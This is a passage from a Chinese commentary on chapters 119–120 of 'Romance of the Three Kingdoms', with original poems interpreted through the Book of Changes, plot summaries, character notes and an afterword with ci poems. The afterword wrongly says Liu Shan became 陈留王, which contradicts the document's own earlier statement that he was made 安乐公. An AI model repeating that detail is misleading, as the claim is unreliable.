    刘禅投降：刘禅在大臣们的劝说下，放弃了抵抗，选择向邓艾投降。他率领太子诸王及群臣六十余人，面缚舆榇出北门十里而降，标志着蜀汉的正式灭亡。


    二士争功：邓艾和钟会都为灭蜀立下了功劳，但两人互相争功，矛盾不断。姜维趁机假降钟会，挑动两人的纷争，使得局势更加复杂。


    4. 经典诗句：


    “君臣甘屈膝，一子独悲伤。去矣西川事，雄哉北地王！捐身酬烈祖，搔首泣穹苍。凛凛人如在，谁云汉已亡？”这首诗赞扬了北地王刘谌的忠烈，表达了对他的敬佩之情，同时也对蜀汉的灭亡感到惋惜。


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 第119章 假投降巧计成虚话 再受禅依样画葫芦

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 119 回解析》的解析：


    （一）《解析〈三国演义〉第 119 回》


    三国风云卷巨澜，周易哲理蕴其间。


    阴阳变幻谋中计，动静相生局外看。


    假降巧言成虚妄，再禅依旧似前般。


    兴衰荣辱皆天命，历史长河意未阑。


    （二）诠释:


    这首诗以七律的形式，围绕《三国演义》第 119 回，结合周易哲学进行了解析。诗中表达了三国局势的波澜壮阔，以及其中蕴含的周易哲理，如阴阳变化、动静相生等。同时，也描述了假投降的计谋最终成空，历史的兴衰如同天命般不可抗拒，而这一切在历史长河中留下了深刻的意义。


    诗的首联“三国风云卷巨澜，周易哲理蕴其间”，指出《三国演义》中风云变幻的局势，同时点明其中蕴含着周易哲学的道理。


    颔联“阴阳变幻谋中计，动静相生局外看”，具体阐述了周易哲学中的阴阳变化与计谋的相互关系，以及在局外冷静观察的重要性。


    颈联“假降巧言成虚妄，再禅依旧似前般”，描述了第 119 回中“假投降”计策的落空，以及历史的重演，如同之前的禅让一般。


    尾联“兴衰荣辱皆天命，历史长河意未阑”，强调了兴衰荣辱都像是天命注定，而这些在历史的长河中有着深远的意义和影响，令人回味不尽。


    整首诗通过对《三国演义》第 119 回的解析，展现了周易哲学与文学作品的巧妙结合，以及对历史的深刻思考。


    （三）详细介绍《三国演义》第119回回目，经典梗概，主要人物，经典情节，经典诗句，经典典故，中心思想及指导思想


    1. 回目：假投降巧计成虚话　再受禅依样画葫芦。


    2. 经典梗概：


    钟会请姜维计议收邓艾之策，让监军卫瓘去收押邓艾，邓艾父子被绑于槛车送往洛阳。钟会进入成都，尽得邓艾军马，威声大震。随后钟会与姜维商议谋反，姜维劝钟会杀不服的魏将，以防后患。钟会依计请诸将饮宴，欲逼诸将共同谋反，不从者杀之。然而，钟会的心腹将丘建向被监的胡烈告密，胡烈之子胡渊得知消息后，与诸将商议在正月十八日杀入宫中。


    钟会请姜维问梦，姜维称梦龙蛇是吉庆之兆。钟会正欲放诸将出问时，姜维又建议杀之，此时姜维突然心疼发作，昏倒在地。不久宫外杀声大震，魏兵攻入，钟会被乱箭射倒，众将枭其首。姜维拔剑上殿，往来冲突，心疼转加，最终自刎而死。邓艾父子在被放出槛车欲回成都时，被卫瓘派田续所杀。


    司马昭封刘禅为安乐公，赐住宅、月银、俾女等。司马昭中风病亡后，其子司马炎接任晋王之位，效仿曹丕夺汉受禅登基之例，逼魏帝曹奂退位禅让，建立晋朝，魏亡。


    3. 主要人物：


    姜维：蜀汉后期的重要将领，一心想要复兴蜀汉，假投降钟会试图复国，最终计败自刎。


    钟会：魏国将领，有野心，与姜维合谋谋反，但最终失败被杀。


    邓艾：魏国灭蜀的重要将领，后被钟会诬陷收押，最终被田续所杀。


    司马昭：曹魏后期的权臣，掌控朝政，为西晋的建立奠定了基础，死后其子司马炎称帝。


    司马炎：司马昭之子，继承晋王之位后，逼魏帝禅让，建立晋朝。


    刘禅：蜀汉后主，昏庸无能，蜀汉灭亡后被封为安乐公。


    4. 经典情节：


    姜维假降钟会：姜维在蜀汉灭亡后，为了复国，假装投降钟会，


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    并鼓动钟会谋反。


    钟会姜维之死：钟会与姜维谋反之事泄露，魏兵攻入，钟会被乱箭射死，姜维心疼发作仍奋力拼杀，最终自刎。


    邓艾被杀：邓艾本已被收押送往洛阳，却在途中被田续所杀。


    刘禅乐不思蜀：刘禅在司马昭的宴会上，当被问是否思念蜀地时，回答“此间乐，不思蜀也”。


    5. 经典诗句：


    “自幼能筹画，多谋善用兵。凝眸知地理，仰面识天文。马到山根断，兵来石径分。功成身被害，魂绕汉江云。”（叹邓艾）


    “髫年称早慧，曾作秘书郎。妙计倾司马，当时号子房。寿春多赞画，剑阁显鹰扬。不学陶朱隐，游魂悲故乡。”（叹钟会）


    “天水夸英俊，凉州产异才。系从尚父出，术奉武侯来。大胆应无惧，雄心誓不回。成都身死日，汉将有余哀。”（叹姜维）


    6. 经典典故：


    假投降：姜维假投降钟会，试图利用钟会的力量复兴蜀汉，这是本回的一个重要情节，展现了姜维的忠诚和智谋，以及他为了复国不惜一切的决心。


    再受禅：司马炎效仿曹丕逼迫魏帝禅让，建立晋朝，与之前曹丕篡汉如出一辙，体现了历史的循环和权力的更迭。


    7. 中心思想：


    本回通过描写姜维、钟会、邓艾等人的命运以及司马炎逼魏帝禅让等事件，展现了三国时期的风云变幻和历史的演进。姜维的复国努力最终失败，象征着蜀汉的彻底灭亡，而司马炎建立晋朝则标志着三国鼎立局面的结束，天下归晋。


    同时，也揭示了在权力斗争中，人物的野心、忠诚、智谋等因素的相互作用，以及历史的发展具有一定的必然性。


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 第120章 荐杜预老将献新谋 降孙皓三分归一统

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 120 回解析》的描述：


    （一）《〈三国演义〉第 120 回解析》


    三分鼎足势纷争，周易哲思蕴内情。


    孙皓昏庸终败落，杜预智勇展新程。


    阴阳变化循天道，一统归心乃世名。


    历史长河淘不尽，智谋仁德载汗青。


    （二）诠释:


    这首诗以七律的形式，围绕《三国演义》第 120 回展开，通过周易哲学的视角，描绘了其中的人物命运、历史变化与统一的主题。同时，也表达了对智谋与仁德在历史中重要性的感慨。


    诗的首联“三分鼎足势纷争，周易哲思蕴内情”，指出三国鼎立局势的激烈争斗，同时点明了以周易哲学来解读其中蕴含的深层内涵。


    颔联“孙皓昏庸终败落，杜预智勇展新程”，描述了孙皓的昏庸导致其最终失败，而杜预凭借智勇展现出新的征程，体现了人物与历史发展的关联。


    颈联“阴阳变化循天道，一统归心乃世名”，进一步阐释了周易哲学中阴阳变化的道理，以及最终走向统一是顺应历史大势，是被世人认可的。


    尾联“历史长河淘不尽，智谋仁德载汗青”，强调了历史的长河中智谋和仁德将永远被铭记，成为历史的见证。


    整首诗通过对《三国演义》第 120 回的解析，结合周易哲学的视角，展现了对历史的深刻思考和感悟。


    （三）《三国演义》第120回的回目为“荐杜预老将献新谋 降孙皓三分归一统”。以下是对这一回的详细介绍：


    1. 经典梗概：


    东吴方面，孙皓继位后凶暴日甚、酷溺酒色、宠幸奸臣，还斩杀了劝谏的濮阳兴、张布等人，导致廷臣缄口不敢再谏。后来陆抗被罢兵权，降为司马，孙皓的种种倒行逆施使得吴国内部人心惶惶、国力衰退。


    西晋方面，羊祜镇守襄阳时，与东吴将领陆抗对峙，双方虽为敌手，但羊祜以仁德服人，与陆抗相互敬重。羊祜病危时向晋主司马炎推荐杜预，认为他可担当伐吴大任。司马炎遂拜杜预为镇南大督荆州事。杜预足智多谋、老成练达，积极准备伐吴。


    最终，杜预率领晋军伐吴，势如破竹，孙皓投降，至此三国归晋，天下一统。


    2. 主要人物：


    杜预：西晋名将，有谋略，受羊祜举荐担当伐吴大任，成功实现了西晋的统一大业。他为人老成练达，好学不倦。


    孙皓：东吴末代皇帝，昏庸残暴，荒淫无道，致使东吴国力衰微，最终投降西晋。


    羊祜：西晋杰出的将领和政治家，在襄阳镇守时深得军民之心，为西晋的统一奠定了基础。他病重时向司马炎推荐了杜预。


    司马炎：西晋开国皇帝，听从羊祜等人的建议，积极谋划伐吴，最终实现了天下一统。


    3. 经典情节：


    羊祜与陆抗之交：羊祜镇守襄阳时，与东吴将领陆抗虽处敌对阵营，但相互敬重。羊祜下令晋军不许过界，打猎时也不犯吴境，陆抗望见感叹羊祜有纪律。羊祜还将被吴人先射伤的禽兽送还，陆抗则回赠羊祜自己亲酿的酒。


    杜预伐吴：杜预受司马炎任命后，积极筹备伐吴事宜。他率领晋军一路势如破竹，攻克东吴多处城池，最终迫使孙皓投降。


    4. 经典诗句：此回中诗歌较少提及，但在整部《三国演义


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    》中开篇的“滚滚长江东逝水，浪花淘尽英雄。是非成败转头空。青山依旧在，几度夕阳红”堪称经典，其以宏观的视角和深沉的感慨，为整部小说奠定了一种历史沧桑感的基调。


    5. 经典典故：


    堕泪碑：羊祜死后，南州百姓罢市而哭，江南守边将士亦皆哭泣。襄阳人思祜存日，常游于岘山，遂建庙立碑，四时祭之。往来人见其碑文者，无不流涕，故名为“堕泪碑”。这一典故体现了羊祜的仁德和他在百姓心中的崇高地位。


    6. 中心思想：这一回主要展现了西晋统一天下的历史进程，强调了“天下大势，分久必合”的历史规律。同时，通过对孙皓昏庸残暴的描写，揭示了君主无道则国家必亡的道理；而羊祜、杜预等西晋将领的仁德与智谋，以及他们为统一所做的努力，则体现了西晋的崛起和强大是顺应历史潮流的。


    7. 指导思想：从小说的整体来看，《三国演义》的指导思想既有对忠义、仁德等传统道德观念的推崇，如羊祜的仁德受到作者的赞扬；也有对历史发展规律的思考和探讨，即天下分合的大势不可阻挡。在这一回中，西晋的统一是作者所认为的历史必然趋势，而东吴的灭亡则是其内部腐败、君主无道的必然结果。


    二、《周易哲学视角下的〈三国演义〉第 120 回解析》


    《三国演义》第 120 回“荐杜预老将献新谋 降孙皓三分归一统”，这一回目不仅是三国历史的重要篇章，更是蕴含着深刻的哲学内涵。以周易哲学的视角来深度解析这一回目，能让我们更深入地理解其中所蕴含的命运、变化与统一的主题。


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 第121章 后记

    一、《三国演义后传：历史的延续与新篇》


    当我们回顾完那波澜壮阔的《三国演义》，故事似乎并未就此终结。在三国归晋，天下一统之后，一段新的历史篇章悄然展开，充满了风云变幻与历史回响。


    曾经在三国乱世中闪耀的人物们，虽已成为历史的一部分，但他们的影响却并未消散。诸葛亮的后代，继承了先辈的智慧与忠诚，在西晋的朝堂上继续为国家的发展出谋划策。他们以诸葛家族的严谨和睿智，为国家的稳定贡献着力量。关羽的后人，秉持着关家的忠义精神，在地方上成为百姓敬仰的象征，他们的言行举止中透露着祖辈的英勇与坚韧。而曹魏、孙吴的旧臣后代们，有的选择顺应新朝，运用自己的才能为西晋效力；有的则心怀故主，在新的时代中默默坚守着自己的信念。


    然而，西晋的统一并没有带来长久的和平与繁荣。西晋王朝在建立后，面临着诸多挑战和问题。内部政治斗争激烈，士族与皇族之间的矛盾日益尖锐。晋惠帝智力低下，无法有效治理国家，这导致皇后贾南风得以专权，她的种种行径进一步加剧了朝政的混乱。最终，“八王之乱”爆发，这场内乱使得刚刚统一的国家再度陷入动荡与战乱之中，民生凋敝，社会陷入一片混乱。这不禁让人深思，三国时期的历史教训是否真的被西晋所吸取，还是只是在历史的轮回中不断重复着相似的悲剧。


    与此同时，民间关于三国人物的传说和故事依然在口口相传。关羽死后成为神灵护佑百姓的传说，让人们对他的敬仰之情更加深厚；赵云的英勇事迹被人们传颂不衰，他成为了民间英雄的典范。这些传说不仅丰富了三国文化的内涵，更体现了人们对三国英雄的无限怀念与热爱。在百姓的心中，三国英雄们的形象永远鲜活，他们的故事成为了永恒的经典，代代相传。


    曾经在三国舞台上扮演重要角色的人物们，在三国结束后的命运也发生了巨大的变化。刘禅，这位曾经的蜀汉后主，在投降后被封为陈留王，虽然得以在西晋的庇护下安享余生，但他内心的痛苦与无奈又有谁能真正理解。孙皓，东吴的末代皇帝，在投降后成为了阶下囚，他曾经的骄傲与野心在新的环境中被彻底粉碎。而那些曾经为了国家和理想拼搏奋斗的将领和谋士们，有的在新的时代中找到了自己的价值和归属，有的则逐渐在历史的长河中被遗忘。他们的人生轨迹，如同历史的注脚，见证着那个时代的兴衰与变迁。


    《三国演义后传》是一部充满情感与思考的历史续篇。它让我们看到了历史的延续和发展，也让我们感受到了命运的无常与无奈。在这新的篇章中，既有对过去的回忆与感慨，也有对未来的期许与憧憬。它提醒着我们，历史是一面镜子，我们应该从历史中吸取教训，珍惜当下，努力创造更加美好的未来。无论是英雄的传奇，还是普通人的命运，都在这历史的长河中留下了深深的印记，成为了永恒的记忆。让我们继续追寻历史的足迹，感受那无尽的魅力与启示。


    这一切，都构成了《三国演义》的后记，是对曾经那段波澜壮阔历史的延续与思考，也是对人物命运的深情书写。


    二、用不同词牌名来解析《三国演义后传》：


    《沁园春·三国后传》


    乱世风云，豪杰辈出，史册留名。忆三国鼎立，智谋激荡，英雄壮志，铁血豪情。晋统江山，纷争暂息，却见朝堂暗潮生。叹往昔，思英雄旧事，心潮难平。


    后人传承忠义，念先辈功绩永不停。看民间传说，口口传颂，人物命运，转折阴晴。历史教训，深思汲取，时代更迭又一程。展未来，望中华大地，再起新声。


    《菩萨蛮·三国后传之思》


    三国归晋终一统，豪杰身影渐无踪。后人思前情，忠义心中萦。


    朝堂风云变，战乱又重现。命运多舛舛，历


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    史永留传。


    《清平乐·三国后传叹》


    江山一统，繁华转头空。英雄后代续新篇，忠义精神犹浓。


    朝堂纷争不休，民间传说悠悠。命运起伏难料，历史长河奔流。


    《虞美人·三国后传感怀》


    三国故事终章了，余韵心中绕。后人续写新篇，忠义未曾消减。


    历史车轮转动，命运起伏如幻。感慨万千心间，岁月铭刻永远。


    《沁园春·三国后传》诠释


    这首词描绘了三国之后的历史风云变幻。回忆起三国鼎立时期，智谋与豪情交相辉映，英雄们的壮志如铁血般坚定。西晋统一后，看似平静的朝堂实则暗流涌动。感慨过去的英雄事迹，心中波澜难平。后人传承着忠义精神，不断追念先辈的功绩。看着民间的传说流传，人物的命运起起落落。历史的教训值得深思，时代不断向前推进。展望未来，期待中华大地再次焕发出新的生机与活力。


    《菩萨蛮·三国后传之思》诠释


    词中讲述了三国归晋后，曾经的英雄身影逐渐消失。后人对过去充满思念，忠义之情萦绕心间。朝堂上风云变幻，战乱又再度出现。人物的命运充满坎坷，而历史的传承却永远不会间断。


    《清平乐·三国后传叹》诠释


    此词描述了三国统一后，繁华不再。英雄的后


    代们继续着新的故事，忠义的精神依然浓厚。朝堂上纷争不断，民间的传说源远流长。命运的起伏难以预料，历史就像长河一样滚滚向前。


    《虞美人·三国后传感怀》诠释


    这首词感慨三国的故事已经结束，但其余韵仍萦绕在心中。后人在续写新的篇章时，忠义的情怀并未减少。历史的车轮不断转动，命运如幻如梦般起伏不定。心中充满了万千感慨，这些将被岁月永远铭刻。


    2024年11月